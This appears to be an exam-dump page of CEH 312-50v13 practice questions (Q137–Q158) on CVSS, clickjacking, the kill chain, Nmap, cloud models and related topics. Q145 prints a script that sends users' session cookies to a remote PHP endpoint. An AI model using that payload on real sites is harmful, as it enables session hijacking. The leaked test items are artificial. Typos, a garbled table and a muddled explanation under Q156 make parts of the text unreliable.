312-50v13 PDF Dumps Aug 18, 2025 Exam Questions – Valid 312-50v13 Dumps [Q137-Q158]

Q137. During a recent vulnerability assessment of a major corporation’s IT systems, the security team identified several potential risks. They want to use a vulnerability scoring system to quantify and prioritize these vulnerabilities. They decide to use the Common Vulnerability Scoring System (CVSS). Given the characteristics of the identified vulnerabilities, which of the following statements is the most accurate regarding the metric types used by CVSS to measure these vulnerabilities?

Temporal metric represents the inherent qualities of a vulnerability

Base metric represents the inherent qualities of a vulnerability

Environmental metric involves the features that change during the lifetime of the vulnerability

Temporal metric involves measuring vulnerabilities based on a_ specific environment or implementation

The base metric represents the inherent qualities of a vulnerability, according to the Common Vulnerability Scoring System (CVSS). CVSS is a framework that numerically characterizes the severity of software vulnerabilities between the range of 0-10. CVSS consists of three metric groups: Base, Temporal, and Environmental. The base metric group captures the characteristics of a vulnerability that are constant over time and across user environments. The base metric group consists of six sub-metrics: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and Impact. The impact sub-metric further consists of three sub-metrics: Confidentiality, Integrity, and Availability. The base metric group produces a score ranging from 0 to 10, which reflects the intrinsic and fundamental properties of a vulnerability12.
The other options are not correct for the following reasons:
* A. Temporal metric represents the inherent qualities of a vulnerability: This option is incorrect because the temporal metric group captures the characteristics of a vulnerability that change over time due to events external to the vulnerability. The temporal metric group consists of three sub-metrics: Exploit Code Maturity, Remediation Level, and Report Confidence. The temporal metric group modifies the base score to reflect the current state of the vulnerability, such as the availability of exploit code, the existence of patches or workarounds, and the degree of verification of the vulnerability report12.
* C. Environmental metric involves the features that change during the lifetime of the vulnerability: This option is incorrect because the environmental metric group captures the characteristics of a vulnerability that are relevant and unique to a user’s environment. The environmental metric group consists of three sub-metrics: Modified Attack Vector, Modified Attack Complexity, and Modified Privileges Required. The environmental metric group also allows the user to assign importance values to the impact sub-metrics: Confidentiality Requirement, Integrity Requirement, and Availability Requirement. The environmental metric group modifies the base and temporal scores to reflect the impact of the vulnerability on the user’s specific environment, such as the network configuration, the security objectives, and the asset value12.
* D. Temporal metric involves measuring vulnerabilities based on a specific environment or implementation: This option is incorrect because the temporal metric group does not involve measuring vulnerabilities based on a specific environment or implementation, but rather on the factors that change over time due to events external to the vulnerability. The environmental metric group, not the temporal metric group, involves measuring vulnerabilities based on a specific environment or implementation, as explained in option C.
References:
* 1: What is CVSS – Common Vulnerability Scoring System – SANS Institute
* 2: Common Vulnerability Scoring System – Wikipedia

Q138. James is working as an ethical hacker at Technix Solutions. The management ordered James to discover how vulnerable its network is towards footprinting attacks. James took the help of an open-source framework for performing automated reconnaissance activities. This framework helped James in gathering information using free tools and resources.
What is the framework used by James to conduct footprinting and reconnaissance activities?

WebSploit Framework

Browser Exploitation Framework

OSINT framework

SpeedPhish Framework

Q139. Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes. Images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?

Docker client

Docker objects

Docker daemon

Docker registries

Q140. Scenario1:
1.Victim opens the attacker’s web site.
2.Attacker sets up a web site which contains interesting and attractive content like ‘Do you want to make
$1000 in a day?’.
3.Victim clicks to the interesting and attractive content URL.
4.Attacker creates a transparent ‘iframe’ in front of the URL which victim attempts to click, so victim thinks that he/she clicks to the ‘Do you want to make $1000 in a day?’ URL but actually he/she clicks to the content or URL that exists in the transparent ‘iframe’ which is setup by the attacker.
What is the name of the attack which is mentioned in the scenario?

Session Fixation

HTML Injection

HTTP Parameter Pollution

Clickjacking Attack

Q141. Attacker Steve targeted an organization’s network with the aim of redirecting the company’s web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a fake website. What is the technique employed by Steve to gather information for identity theft?

Pretexting

Pharming

Wardriving

Skimming

Q142. A cyber attacker has initiated a series of activities against a high-profile organization following the Cyber Kill Chain Methodology. The attacker is presently in the “Delivery” stage. As an Ethical Hacker, you are trying to anticipate the adversary’s next move. What is the most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology?

The attacker will attempt to escalate privileges to gain complete control of the compromised system.

The attacker will exploit the malicious payload delivered to the target organization and establish a foothold.

The attacker will initiate an active connection to the target system to gather more data.

The attacker will start reconnaissance to gather as much information as possible about the target.

The most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold. This option works as follows:
* The Cyber Kill Chain Methodology is a framework that describes the stages of a cyberattack from the perspective of the attacker. It helps defenders to understand the attacker’s objectives, tactics, and techniques, and to design effective countermeasures. The Cyber Kill Chain Methodology consists of seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives12.
* The delivery stage is the third stage in the Cyber Kill Chain Methodology, and it involves sending or transmitting the weaponized payload to the target system. The delivery stage can use various methods, such as email attachments, web links, removable media, or network protocols. The delivery stage aims to reach the target system and bypass any security controls, such as firewalls, antivirus, or email filters12.
* The exploitation stage is the fourth stage in the Cyber Kill Chain Methodology, and it involves executing the malicious payload on the target system. The exploitation stage can use various techniques, such as buffer overflows, code injection, or privilege escalation. The exploitation stage aims to exploit a vulnerability or a weakness in the target system and gain access to its resources, such as files, processes, or memory12.
* The installation stage is the fifth stage in the Cyber Kill Chain Methodology, and it involves installing a backdoor or a malware on the target system. The installation stage can use various tools, such as rootkits, trojans, or ransomware. The installation stage aims to establish a foothold on the target system and maintain persistence, which means to survive reboots, updates, or scans12.
Therefore, the most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology is to exploit the malicious payload delivered to the target organization and establish a foothold, because:
* This action follows the logical sequence of the Cyber Kill Chain Methodology, as it is the next stage after the delivery stage.
* This action is consistent with the attacker’s goal, as it allows the attacker to gain access and control over the target system and prepare for further actions.
* This action is feasible, as the attacker has already delivered the malicious payload to the target system and may have bypassed some security controls.
The other options are not as probable as option B for the following reasons:
* A. The attacker will attempt to escalate privileges to gain complete control of the compromised system:
This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the exploitation stage or the installation stage. Privilege escalation is a method of increasing the level of access or permissions on a system, such as from a normal user to an administrator. Privilege escalation can help the attacker to gain complete control of the compromised system, but it is not a mandatory step, as the attacker may already have sufficient privileges or may use other techniques to achieve the same goal12.
* C. The attacker will initiate an active connection to the target system to gather more data: This option is possible, but not the most probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather a technique that can be used in the command and control stage or the actions on objectives stage. An active connection is a communication channel that allows the attacker to send commands or receive data from the target system, such as a remote shell or a botnet. An active connection can help the attacker to gather more data from the target system, but it is not a necessary step, as the attacker may already have enough data or may use other techniques to obtain more data12.
* D. The attacker will start reconnaissance to gather as much information as possible about the target:
This option is not probable, because it is not the next stage in the Cyber Kill Chain Methodology, but rather the first stage. Reconnaissance is the process of collecting information about the target, such as its IP address, domain name, network structure, services, vulnerabilities, or employees. Reconnaissance is usually done before the delivery stage, as it helps the attacker to identify the target and plan the attack. Reconnaissance can be done again after the delivery stage, but it is not the most likely action, as the attacker may already have enough information or may focus on other actions12.
References:
* 1: The Cyber Kill Chain: The Seven Steps of a Cyberattack – EC-Council
* 2: Cyber Kill Chain | Lockheed Martin

Q143. From the following table, identify the wrong answer in terms of Range (ft).
Standard Range (ft)
802.11a 150-150
802.11b 150-150
802.11g 150-150
802.16 (WiMax) 30 miles

802.16 (WiMax)

802.11g

802.11b

802.11a

Q144. Sam is working as a system administrator In an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect Its severity using CVSS v3.0 to property assess and prioritize the organization’s vulnerability management processes. The base score that Sam obtained after performing cvss rating was 4.0. What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?

Medium

Low

Critical

High

Q145. Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.writef<img src=”https://Ioca(host/submitcookie.php? cookie =’+ escape(document.cookie)+ ” />); <
/script>
What issue occurred for the users who clicked on the image?

The code inject a new cookie to the browser.

The code redirects the user to another site.

The code is a virus that is attempting to gather the users username and password.

This php file silently executes the code and grabs the users session cookie and session ID.

Q146. To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be used to randomly generate invalid input in an attempt to crash the program.
What term is commonly used when referring to this type of testing?

Randomizing

Bounding

Mutating

Fuzzing

Q147. You are an ethical hacker tasked with conducting an enumeration of a company’s network. Given a Windows system with NetBIOS enabled, port 139 open, and file and printer sharing active, you are about to run some nbtstat commands to enumerate NetBIOS names. The company uses |Pv6 for its network. Which of the following actions should you take next?

Use nbtstat -c to get the contents of the NetBIOS name cache

use nbtstat -a followed by the IPv6 address of the target machine

Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration

Switch to an enumeration tool that supports IPv6

Q148. Jake, a professional hacker, installed spyware on a target iPhone to spy on the target user’s activities. He can take complete control of the target mobile device by jailbreaking the device remotely and record audio, capture screenshots, and monitor all phone calls and SMS messages. What is the type of spyware that Jake used to infect the target device?

DroidSheep

Androrat

Zscaler

Trident

Q149. A penetration tester was assigned to scan a large network range to find live hosts. The network is known for using strict TCP filtering rules on its firewall, which may obstruct common host discovery techniques. The tester needs a method that can bypass these firewall restrictions and accurately identify live systems. What host discovery technique should the tester use?

UDP Ping Scan

lCMP ECHO Ping Scan

ICMP Timestamp Ping Scan

TCP SYN Ping Scan

The host discovery technique that the tester should use is TCP SYN Ping Scan. This technique sends a TCP SYN packet to a specified port on the target host and waits for a response. If the host responds with a TCP SYN/ACK packet, it means the host is alive and the port is open. If the host responds with a TCP RST packet, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. TCP SYN Ping Scan can bypass firewall restrictions because it mimics the initial stage of a TCP three-way handshake, which is a common and legitimate network activity. Therefore, most firewalls will allow TCP SYN packets to pass through and reach the target host, unless they are configured to block specific ports or IP addresses3. TCP SYN Ping Scan can also accurately identify live systems because it does not rely on ICMP, which may be blocked or rate-limited by some firewalls or routers.
The other options are not as effective or feasible as TCP SYN Ping Scan for the following reasons:
* A. UDP Ping Scan: This technique sends a UDP packet to a specified port on the target host and waits for a response. If the host responds with an ICMP Port Unreachable message, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead, the port is open, or the packet is filtered by a firewall12. UDP Ping Scan may not bypass firewall restrictions because some firewalls may block or drop UDP packets, especially if they are sent to uncommon or reserved ports. UDP Ping Scan may also not accurately identify live systems because it cannot distinguish between open ports and filtered packets, and it may generate false positives or negatives due to packet loss or rate-limiting.
* B. ICMP ECHO Ping Scan: This technique sends an ICMP ECHO Request packet to the target host and waits for an ICMP ECHO Reply packet. If the host responds with an ICMP ECHO Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP ECHO Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP ECHO Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
* C. ICMP Timestamp Ping Scan: This technique sends an ICMP Timestamp Request packet to the target host and waits for an ICMP Timestamp Reply packet. If the host responds with an ICMP Timestamp Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP Timestamp Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP Timestamp Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
References:
* 1: Host Discovery in Nmap Network Scanning – GeeksforGeeks
* 2: nmap Host Discovery Techniques
* 3: TCP SYN Ping Scan – Nmap
* : Ping Sweep – an overview | ScienceDirect Topics
* : UDP Ping Scan – Nmap
* : UDP Ping Scan – an overview | ScienceDirect Topics
* : ICMP Ping Scan – Nmap
* : ICMP Ping Scan – an overview | ScienceDirect Topics

Q150. Your organization has signed an agreement with a web hosting provider that requires you to take full responsibility for the maintenance of the cloud-based resources. Which of the following models covers this?

Platform as a Service

Software as a Service

Functions as a Service

Infrastructure as a Service

Q151. As a security analyst for Sky Secure Inc., you are working with a client that uses a multi-cloud strategy, utilizing services from several cloud providers. The client wants to implement a system that will provide unified security management across all their cloud platforms. They need a solution that allows them to consistently enforce security policies, identify and respond to threats, and maintain visibility of all their cloud resources. Which of the following should you recommend as the best solution?

Use a hardware-based firewall to secure all cloud resources.

implement separate security management tools for each cloud platform.

Use a Cloud Access Security Broker (CASB).

Rely on the built-in security features of each cloud platform.

Q152. Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers/ports, which can have direct internet access, and block the access to workstations.
Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.
In this context, what can you say?

Bob can be right since DMZ does not make sense when combined with stateless firewalls

Bob is partially right. He does not need to separate networks if he can create rules by destination IPs, one by one

Bob is totally wrong. DMZ is always relevant when the company has internet servers and workstations

Bob is partially right. DMZ does not make sense when a stateless firewall is available

Q153. What kind of detection techniques is being used in antivirus softwares that identifies malware by collecting data from multiple protected systems and instead of analyzing files locally it’s made on the premiers environment-

VCloud based

Honypot based

Behaviour based

Heuristics based

Q154. Kate dropped her phone and subsequently encountered an issue with the phone’s internal speaker. Thus, she is using the phone’s loudspeaker for phone calls and other activities. Bob, an attacker, takes advantage of this vulnerability and secretly exploits the hardware of Kate’s phone so that he can monitor the loudspeaker’s output from data sources such as voice assistants, multimedia messages, and audio files by using a malicious app to breach speech privacy.
What is the type of attack Bob performed on Kate in the above scenario?

Man-in-the-disk attack

aLTEr attack

SIM card attack

Spearphone attack

Q155. The network in ABC company is using the network address 192.168.1.64 with mask 255.255.255.192. In the network the servers are in the addresses 192.168.1.122, 192.168.1.123 and 192.168.1.124. An attacker is trying to find those servers but he cannot see them in his scanning. The command he is using is: nmap
192.168.1.64/28.
Why he cannot see the servers?

He needs to add the command “”ip address”” just before the IP address

He needs to change the address to 192.168.1.0 with the same mask

He is scanning from 192.168.1.64 to 192.168.1.78 because of the mask /28 and the servers are not in that range

The network must be dawn and the nmap command and IP address are ok

Q156. Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to. What type of hacker is Nicolas?

Red hat

white hat

Black hat

Gray hat

A white hat (or a white hat hacker) is an ethical computer hacker, or a computer security expert, who focuses on penetration testing and in other testing methodologies that ensures the safety of an organization’s information systems. Ethical hacking may be a term meant to imply a broader category than simply penetration testing. Contrasted with black hat, a malicious hacker, the name comes from Western films, where heroic and antagonistic cowboys might traditionally wear a white and a black hat respectively. While a white hat hacker hacks under good intentions with permission, and a black hat hacker, most frequently unauthorized, has malicious intent, there’s a 3rd kind referred to as a gray hat hacker who hacks with good intentions but sometimes without permission.
White hat hackers can also add teams called “sneakers and/or hacker clubs”,red teams, or tiger teams.
While penetration testing concentrates on attacking software and computer systems from the beginning – scanning ports, examining known defects in protocols and applications running on the system and patch installations, as an example – ethical hacking may include other things. A full-blown ethical hack might include emailing staff to invite password details, searching through executive’s dustbins and typically breaking and entering, without the knowledge and consent of the targets. Only the owners, CEOs and Board Members (stake holders) who asked for such a censoring of this magnitude are aware. to undertake to duplicate a number of the destructive techniques a true attack might employ, ethical hackers may arrange for cloned test systems, or organize a hack late in the dark while systems are less critical. In most up-to-date cases these hacks perpetuate for the long-term con (days, if not weeks, of long-term human infiltration into an organization). Some examples include leaving USB/flash key drives with hidden auto-start software during a public area as if someone lost the tiny drive and an unsuspecting employee found it and took it.
Some other methods of completing these include:
* DoS attacks
* Social engineering tactics
* Reverse engineering
* Network security
* Disk and memory forensics
* Vulnerability research
* Security scanners such as:
– W3af
– Nessus
– Burp suite
* Frameworks such as:
– Metasploit
* Training Platforms
These methods identify and exploit known security vulnerabilities and plan to evade security to realize entry into secured areas. they’re ready to do that by hiding software and system ‘back-doors’ which will be used as a link to information or access that a non-ethical hacker, also referred to as ‘black-hat’ or ‘grey-hat’, might want to succeed in .

Q157. Email is transmitted across the Internet using the Simple Mail Transport Protocol. SMTP does not encrypt email, leaving the information in the message vulnerable to being read by an unauthorized person. SMTP can upgrade a connection between two mail servers to use TLS. Email transmitted by SMTP over TLS is encrypted. What is the name of the command used by SMTP to transmit email over TLS?

OPPORTUNISTICTLS

UPGRADETLS

FORCETLS

STARTTLS

Q158. Bob is doing a password assessment for one of his clients. Bob suspects that security policies are not in place.
He also suspects that weak passwords are probably the norm throughout the company he is evaluating. Bob is familiar with password weaknesses and key loggers.
Which of the following options best represents the means that Bob can adopt to retrieve passwords from his clients hosts and servers?

Hardware, Software, and Sniffing.

Hardware and Software Keyloggers.

Passwords are always best obtained using Hardware key loggers.

Software only, they are the most effective.

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